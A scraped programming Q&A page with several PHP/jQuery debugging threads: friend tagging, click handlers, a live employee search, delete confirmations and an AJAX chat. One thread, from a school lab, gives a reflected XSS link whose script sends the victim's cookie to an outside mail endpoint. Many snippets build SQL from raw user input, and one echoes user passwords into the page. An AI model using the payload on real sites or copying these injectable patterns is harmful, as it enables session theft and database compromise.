How to turn extracted href into hyperlink - javascript

I'm working on a tagging part on a site similar to Facebook. The idea is that whenever someone types # in the post area, a drop down menu appears containing all of his friends. He then picks who he wants to tag and clicks on that person's profile. I have a javascript function which detects when # is pressed, and then calls another js function which then in turn sends an ajax request to a php file for the list. And this part works great.
So when the user clicks on someone from their friend list, I set it up so that an href part containing the friend's username is extracted from the php file as plain text, and then displayed as a text string right after the # character in the post area (I prevented following to the profile after clicking with return: false). So, for example, when someone wants to choose John Smith, he presses #, the list appears, he picks John Smith, clicks on his profile, the list disappears, and then the username appears after #, like this: #john_smith
Now the trouble is that I would want to make john_smith after # into a hyperlink that would lead to John Smith's profile, instead of it being just plain text. And I've been really struggling to find a solution. Any help would be much appreciated.
Thanks a lot! :)
**//php ajax file**
<?php
$userLoggedIn = $_POST['userLoggedIn'];
$userLoggedIn = new User($con, $userLoggedIn);
$rez = array();
$rez = $userLoggedIn->getFriendArray();
if ($rez != ",") {
$no_commas = explode(",", $rez);
foreach ($no_commas as $key => $value) {
$friend = mysqli_query($con, "SELECT first_name, last_name, username, profile_pic FROM users WHERE username='$value'");
$row = mysqli_fetch_assoc($friend);
echo "<div class='displayTag'>
<a href=" . $row['username'] . " id='grabLink'>
<div>
<img src='" . $row['profile_pic'] . "'>
</div>
<div>
" . $row['first_name'] . " " . $row['last_name'] . "
<p style='margin: 0;'></p>
<p id='grey'></p>
</div>
</a>
</div>";
}
}
else {
echo "<br><p id='ynf'>You have no friends. Please add someone</p>";
}
**//js functions**
function userTag(user) { // for ajax
$.post("includes/handlers/ajax_user_tag.php", {userLoggedIn:user},
function(data){
$('.tag_results').html(data);
});
}
function textTag() { // for extracting href and placing # and username anywhere in the post area
$('.displayTag a').click(function(a){
var x = $(this).attr('href');
var y = $(this).prop('href');
var $txt = jQuery("#post_text");
var caretPos = $txt[0].selectionStart;
var textAreaTxt = $txt.val();
$txt.val(textAreaTxt.substring(0, caretPos) + x + textAreaTxt.substring(caretPos) );
$('.tag_results').html("");
return false;
});
}
**//js code**
$("#post_text").keydown(function (e) { // listens for #
if(e.which == 50)
userTag('<?php echo $userLoggedIn; ?>');
if(e.which != 50)
$('.tag_results').html("");
});
$('.tag_results').hover(function(e) { //calls textTag function on hover
textTag();
});
**//Empty div populated by ajax results**
<div class="tag_results">
</div>
EDIT:
I found out what the problem was, purely by accident. In the file with the php classes, strip_tags was used for all posts. So what I wanted to do was practically impossible with that turned on. Now it's working as it should. Thanks everyone for help! :)

I don't believe that your click event is capturing the click, because your php is dynamically creating the list element. Also your function, textTag() doesn't actually apply the event until that function is run, so it could be creating issues. Change your JS to -
$(document).on('click', '.displayTag a', function() {
var href = $(this).attr('href');
//other code applying href to new anchor tag in proper format
});

First I would change a little bit the PHP response in order to make it easier to get the firend's full name.
**//php ajax file**
<?php
$userLoggedIn = $_POST['userLoggedIn'];
$userLoggedIn = new User($con, $userLoggedIn);
$rez = array();
$rez = $userLoggedIn->getFriendArray();
if ($rez != ",") {
$no_commas = explode(",", $rez);
foreach ($no_commas as $key => $value) {
$friend = mysqli_query($con, "SELECT first_name, last_name, username, profile_pic FROM users WHERE username='$value'");
$row = mysqli_fetch_assoc($friend);
echo "<div class='displayTag'>
<a href=" . $row['username'] . " id='grabLink'>
<div>
<img src='" . $row['profile_pic'] . "'>
</div>
<div class='fullname'>
" . $row['first_name'] . " " . $row['last_name'] . "
<p style='margin: 0;'></p>
<p id='grey'></p>
</div>
</a>
</div>";
}
}
else {
echo "<br><p id='ynf'>You have no friends. Please add someone</p>";
}
Then I would modify the JS function
function textTag() { // for extracting href and placing # and username anywhere in the post area
$('.displayTag a').click(function(a){
var fullname = $(this).find('.fullname').text();
var x = ''+fullname +'';
var y = $(this).prop('href');
var $txt = jQuery("#post_text");
var caretPos = $txt[0].selectionStart;
var textAreaTxt = $txt.val();
$txt.html(textAreaTxt.substring(0, caretPos) + x + textAreaTxt.substring(caretPos) );
$('.tag_results').html("");
return false;
});
}

Related

how to set varialble

In my DB i have created a table named "coursePlaces" in which i have 7 columns and a number of rows.
Loading the php-file course.php I connects to the db and selects data from the table "coursePlaces" using it to echo a number of buttons with different id and value each:
<?php
/* CONNECTION TO DB */
require 'includes/dbh.inc.php';
/* ACCESS COURSE AND GRADE VAR FROM URL WITH GET */
$course = $_GET['course'];
$grade = $_GET['grade'];
/* SELECTS DATA FROM TABLE AND ECHOES BUTTONS WITH DIFFERENT ID AND VALUE DEPENDING ON TABLE CONTENT */
$sql = "SELECT * FROM coursePlaces WHERE grade='$grade' AND course='$course'";
$result = mysqli_query($con, $sql);
while ($row = mysqli_fetch_array($result)) {
echo '<input type="submit" id="place-' . $row['placeName'] . '" value="' . $row['placeName'] . '">';
}
/* CONVERTS VAR TO USE IN JQUERY SCRIPT */
echo '<script>';
echo 'var grade = ' . json_encode($grade) . ';';
echo 'var course = ' . json_encode($course) . ';';
echo '</script>';
?>
<script src="includes/global.inc.js"></script>
<!-- DIV TO ECHO OUTPUT FROM PLACE.INC.PHP -->
<div class="selectedPlace" id="selectedPlace"></div>
When clicking one of the buttons the value should be send to the file "global.inc.js" In which i have placed a script used to listen for clicks:
$('input#$row['placeName']').on('click', function() {
var place = $('input#place-$row['placeName']').val();
if (place !='') {
$.post('includes/place.inc.php', {place: place, grade: grade, course: course }, function(data) {
$('div#selectedPlace').text(data);
});
}
});
My problem is, that I don't know what the name of the button id is - since it is created from a varchar in a database table. How do i bring this information over into my .js file, so the script posts individual value from button no matter what button the user presses on the courses.php.
Use jQuery to set your variable with Ajax ( method POST ).
Try to change code as below:
$('input[type="submit"]').on('click', function() {
var place = $(this).val();
if (place !='') {
$.post('includes/place.inc.php', {place: place, grade: grade, course: course }, function(data) {
$('div#selectedPlace').text(data);
});
}
});
set on click attribute when you echo your inputs:
echo sprintf('<input type="submit" id="place-%s" value="%s" onclick="yourfunction("%s", "%s", "%s") >', $row['placeName'], $row['placeName'], $grade, $course);
and separate this yourfunction function:
function yourfunction(place, grade, course){
$.post('includes/place.inc.php', {place: place, grade: grade, course: course }, function(data) {
$('div#selectedPlace').text(data);
});
}
You should use a generic click handler instead of the one you are using.
If all button have one common class you can listen to the click of all.
Add class inputBtn to following:
echo '<input type="submit" id="place-' . $row['placeName'] . '" value="' . $row['placeName'] . '" class="inputBtn">';
Change
$('input#$row['placeName']').on('click', function() {
to
$('.inputBtn').on('click', function() {
var btnID = $(this).prop('id');
var spltID = btnID.split('-'); //split from the - & spltID[1] will contain the part that you required.
}
This code is written like just for the sake of clarity. It is possible to make it more optimal like split() function can be called on btnID to reduce code line.

Crafting a malicious link

My task in a school project is to craft a link that (assuming the victim is logged on to zoobar.org)upon the victim clicking on the link, steals their cookie and emails it to myself. I have crafted the following link:
masked.masked.masked.se/zoobar/users.php?user="</input><script>alert("XSS")</script>
This link successfully creates an alert box. So I basically have done enough to run any javascript with the link. Now, I want to insert something into my link that gives me the same functionality as this script:
javascript:void((new Image()).src='http://www.masked.masked.se/utbildning/uni/kurser/course/
masked/Labs/WebAttacks/sendmail.php?' + 'to=me#uni.se' +
'&payload='+document.cookie + '&random=' + Math.random());
I would like to just insert this script into my link, like this:
masked.masked.uni.se/zoobar/users.php?user="</input><script>javascript:void((new Image()).src='http://www.masked.uni.se/utbildning/uni/kurser/masked/masked/Labs/WebAttacks/sendmail.php?' + 'to=me#uni.se' + '&payload='+document.cookie + '&random=' + Math.random());</script>
But it doesn't send me an email! I assure you there is nothing wrong with the mail server or the javascript itself, as I have used the exact script to retrieve the cookie from another part of the zoobar website before. Why doesn't my link work?
EDIT:
Client-side code:
snippet of users.php:
<?php
$selecteduser = $_GET['user'];
$sql = "SELECT Profile, Username, Zoobars FROM Person " .
"WHERE Username='" . addslashes($selecteduser) . "'";
$rs = $db->executeQuery($sql);
if ( $rs->next() ) { // Sanitize and display profile
list($profile, $username, $zoobars) = $rs->getCurrentValues();
echo "<div class=profilecontainer><b>Profile</b>";
$allowed_tags =
'<a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' .
'<tr><td><th><u><ul><em><span>';
$profile = strip_tags($profile, $allowed_tags);
$disallowed =
'javascript:|window|eval|setTimeout|setInterval|target|'.
'onAbort|onBlur|onChange|onClick|onDblClick|'.
'onDragDrop|onError|onFocus|onKeyDown|onKeyPress|'.
'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'.
'onMouseOver|onMouseUp|onMove|onReset|onResize|'.
'onSelect|onSubmit|onUnload';
$profile = preg_replace("/$disallowed/i", " ", $profile);
echo "<p id=profile>$profile</p></div>";
} else if($selecteduser) { // user parameter present but user not found
echo '<p class="warning" id="baduser">Cannot find that user.</p>';
}

jQuery $.post() Logging Me Out On Key Down

I have a dynamic drop down search bar which searches through the members of a data base inside of a form on my webpage. In order to view this webpage you must log in first. When I built the site on my domain everything works just fine. However when I transferred my files over to a different domain and configed it with an identical database everything works perfect, except my dynamic search in this form. If I type my name (sometime the odd different name with work) in the search everything works fine, but if i type anyone else it seems to stay on the page as it should, but it logs me out and reload the login form on top of everything else including my form I was typing on. I am using jQuery .post() to make the search dynamic. I will provide code below
index.php
<script>
// this is the jQuery function used to post to the search document on key up
function searchUserQ(){
var searchTxt = $("input[name='userSearch']").val();
console.log(searchTxt);
if (searchTxt != '') {
$.post("includes/search.php", {searchVal:searchTxt},
function(output){
$("#userResults").html(output);
});
}
}
</script>
<h1 class="editUser">Edit User</h1>
<form class="editUser" action="index.php" method="post">
<h1>Search For Employee</h1>
<input type="text" name="userSearch" id="userSearch" placeholder="Search For Employee By First Name" onkeyup="searchUserQ();" />
<submit type="submit" />
<div id="userResults">
</div>
</form>
Search.php
<?php
// Connect To Secure Login
$cfgProgDir = '../phpSecurePages/';
include($cfgProgDir . "secure.php");
//These are the includes needed to make the php page run
// this file connects to the database
include("connect.inc.php");
if(isset($_POST['searchVal'])){
// turn that the user searched into a varible
$searchQ = $_POST['searchVal'];
// delete any symbols for security
$searchQ = preg_replace("#[^0-9a-z]#i", "", $searchQ);
$output = "";
$link = "";
$searchArray = array();
$searchIndex = 0;
// Search through these columns inside the main database
$userSearchQuery = mysql_query("SELECT * FROM dealerEmployees WHERE
firstName LIKE '%$searchQ%'
");
// count the number of results
$userCount = mysql_num_rows($userSearchQuery);
if($userCount == 0){
// $output = "There Were No Search Results";
}else{
while($row = mysql_fetch_array($userSearchQuery)){
// define dynamic varibles for each loop iteration
$id = $row['id'];
$firstName = $row['firstName'];
$lastName = $row['lastName'];
$address = $row['address'];
$phone = $row['phone'];
$email = $row['email'];
$password = $row['password'];
$permission = $row['permission'];
$photo = "images/" . $row['profilePhoto'];
$output .= "<li><div class='employeeSearch' style=\"background: url('$photo'); width: 75px; height: 75px\"></div><h6>" . $firstName . "</h6>" . " " . "<h6>" . $lastName . "</h6><a href='#' class='employee' data-firstName='$firstName' data-lastName='$lastName' data-address='$address' data-phone='$phone' data-email='$email' data-password='$password' data-permission='$permission' data-id='$id'>Select Employee</a></li>";
}
}
}
echo $output;
Can you try this?
> "SELECT id, firstName, lastName, address, phone, email, password,
> permission profilePhone FROM dealerEmployees WHERE
> firstName = '".$searchQ."' Limit 1"
Maybe the like condition is giving more than 1 result.
Maybe you could make a select count(id) as id from dealerEmployees where firstName = '".$searchQ."' and check the count with an if clausule. Maybe the problem you have is too many users with the same firstName.
So After some testing i found out what was happening. When the search would load the search results it would change the password variable in the session to the password of the user coming up in the search since both variables had the same name, all I needed to do was change the var name of the password variable in the search results to be different than the sessions password.
Thanks for all the help!!!

PHP & JavaScript - Confirm with values from drop down

I've got a form that I am populating from the database using PHP.
I would like a popup using Javascript confirming if the user would like to delete the movie.
The popup should contain the movie & release year.
Thus far, only the first value will appear in the popup...
print("<script type=\"text/javascript\">\n");
print("function confirmDelete(){");
print("var del = document.getElementById('movie').value;\n");
print("var status = confirm('Are you sure you wish to delete: ' + del + '?');\n");
print("return status;\n");
print("}</script>\n");
print("<h1>Delete Record</h1>");
//Select Movies
$query = "SELECT title release_year
FROM movies
ORDER BY title";
$result = mysql_query($query)
or die("<h1>Error - (Movies) the query could not be executed</h1>\n");
print("<form method=\"post\" action\"\">\n");
print("<select id=\"movie\" name=\"movies\">\n");
while ($row = mysql_fetch_array($result))
print("<option value=\"$row[0], $row[1]\">$row[0]</option>\n");
print("</select>\n");
print("<input name=\"select_delete\" type=\"submit\"
value=\"Delete\" onclick=\"return confirmDelete();\">\n");
print("</form>\n");
Whats the best way to tackle this?
Try this:
Javascript
var form = document.querySelector('form');
form.addEventListener('submit', function(e) {
e.preventDefault();
var x = confirm('confirmation message here');
if (x) {
form.removeEventListener('submit');
form.submit();
}
});
you can use this function to confirm user action
....
print("<input name=\"select_delete\" type=\"submit\"
value=\"Delete\" onclick=\"confirmDelete();\">\n");
print("</form>\n");
?>
<script>
function confirmDelete()
{
var e = document.getElementById("movie");
var msg = e.options[e.selectedIndex].value;
var x;
var r=confirm("Delete" + msg + "entry?");
if (r==true)
{
//OK button pressed
}
else
{
//Cancel button pressed
}
}
</script>
You can write the 'delete function' using ajax and most of your code you can simply write like this:
<?php
//code in php
?>
code in javascript
<?php
//more code in php
?>

AJAX chat system not working

I can't seem to work this one out. Been a few days and still no progress after re-writing it more times than I can count on my hands.
Here is the Javascript (On same page as html)
Summary: User types text into the input box. That gets sent off to be processed, which then gets sent back and displayed on the screen in the box ID'd as DisplayText on the html page.
<script type="text/javascript">
function SendText() {
if (document.getElementById("Text").innerHTML == "") {
return;
} else
{
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
document.getElementById("DisplayText").innerHTML = xmlhttp.responseText;
}
}
Text = document.getElementById("Text").value;
xmlhttp.open("GET", "php/Test.php?Chat=" + Text, true);
xmlhttp.send();
}
}
</script>
Here is the HTML (Same page as the script)
<div>
<p>
<span id="DisplayText">
TEXT GOES HERE
</span>
</p>
</div>
<form action="" onsubmit="SendText();">
<input type="" name="" id="Text" />
<input type="submit" value="Send" name="Send" />
</form>
The PHP code is here
<?php
session_start();
include ("Connect.php");
$Connection = mysqli_connect("localhost", "root", "", "chatsystem");
$Create = "CREATE TABLE " . $_SESSION["Username"] . "Chat(Username VARCHAR(255), Chat VARCHAR(255))";
////////////////////////////////////////////////////////////////////////////////
$DatabaseExist = $Connection->query("SELECT 1 FROM " . $_SESSION["Username"] . "Chat");
if ($DatabaseExist !== false) {
echo "Database exists";
doSomething();
} else {
echo "Database does not exist";
mysqli_query($Connection, $Create);
doSomething();
}
////////////////////////////////////////////////////////////////////////////////
function doSomething() {
// Get the sent chat
$Input = $_REQUEST["Chat"];
// Insert into the database the new chat sent
mysqli_query($Connection, "INSERT INTO " . $_SESSION["Username"] . "chat (`Username`, `Chat`) VALUES ('$_SESSION[Username], '$Input')");
// Select everything from the database
$Result = $Connection->query("SELECT * FROM " . $_SESSION["Username"] . "Chat");
// Display everything from the database in an orderly fashion
// --
// For the length of the database
// Append to a variable the next table row
// --
while ($Row = $Result->fetch_array()) {
// Make Variable accessable
global $Input;
// Append username to the return value
$Input = $Input . $Row["Username"] . " : ";
// Append chat to the return value
$Input = $Input . $Row["Chat"] . "<br />";
}
}
// Will return the value
echo $Input;
?>
My connection to the Database is fine. I'm using it on other pages that work.
So lets assume that's not the problem. :P
Any help or insight from anyone who knows or can think of something that is wrong, I would be very grateful for.
I'm new to AJAX.
You do a wrong test with
if (document.getElementById("Text").innerHTML == "")
It should be the same way you use to get the text for sending in the AJAX
if (document.getElementById("Text").value == "")
So check its value property and not its innerHTML as input elements do not have html content..
Be careful though because your code is wide-open to SQL injection attacks.
1st : use input's value property instead innerHTML
eg. use
if (document.getElementById("Text").value == "")
instead of
if (document.getElementById("Text").innerHTML == "")
2nd : use return false; at the form's onsubmit event; to prevent current page to be refreshed as you are using ajax. Otherwise the page will get refreshed and it wont display the php page's output,
eg. use
onsubmit="SendText(); return false;"
instead of just
onsubmit="SendText();"
Try AJAX Long Polling technique for chat application. Here is example
http://portal.bluejack.binus.ac.id/tutorials/webchatapplicationusinglong-pollingtechnologywithphpandajax

Categories